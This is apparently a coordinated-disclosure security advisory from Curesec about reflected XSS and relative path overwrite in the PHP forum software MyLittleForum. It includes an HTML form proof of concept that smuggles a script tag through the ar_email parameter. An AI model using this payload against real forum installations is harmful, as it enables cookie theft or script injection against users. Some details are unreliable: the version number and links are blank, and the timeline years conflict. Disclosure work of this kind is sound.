MyLittleForum XSS & RPO

MyLittleForum XSS & RPO

Date: 2016-11-10 10:52:59
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: MyLittleForum
Fixed in: 2.3.7beta
Fixed Version Link:
Vendor Website:
Vulnerability Type: XSS & RPO
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to public: 11/10/2016
Release mode: Coordinated Release
CVE: n/a
Credits Tim Coen of curesec GmbH

2. Overview

MyLittleForum is forum software written in PHP. In version, it is vulnerable to reflected cross site scripting as well as relative path overwrite. XSS can be used to steal cookies, inject JavaScript keyloggers, or bypass CSRF protection, and RPO may lead to CSS injection.

3. Details

Reflected XSS

CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description: The username and email parameter of the add user page are vulnerable to reflected XSS.

Proof of Concept:

<html> <body> <form action="http://localhost/mylittleforum-" method="POST"> <input type="hidden" name="mode" value="admin" /> <input type="hidden" name="ar_username" value="test" /> <input type="hidden" name="ar_email" value="test@example.comle3d4"><script>alert(1)</script>" /> <input type="hidden" name="ar_pw" value="test" /> <input type="hidden" name="ar_pw_conf" value="test" /> <input type="hidden" name="register_submit" value="� OK� " /> <input type="submit" value="Submit request" /> </form> </body> </html>

Relative Path Overwrite

Description: Because the application includes CSS files relative instead of absolute, an attacker can overwrite the path. With some browsers, this may lead to CSS injection.

Proof of Concept:


4. Solution

To mitigate this issue please upgrade at least to version 2.3.7beta:

Please note that a newer version might already be available.

5. Report Timeline

09/05/2015 Informed Vendor about Issue (no reply)
09/15/2015 Reminded Vendor of Disclosure Date
09/15/2015 Vendor replies
10/04/2015 Vendor releases fix
11/10/2016 Disclosed to public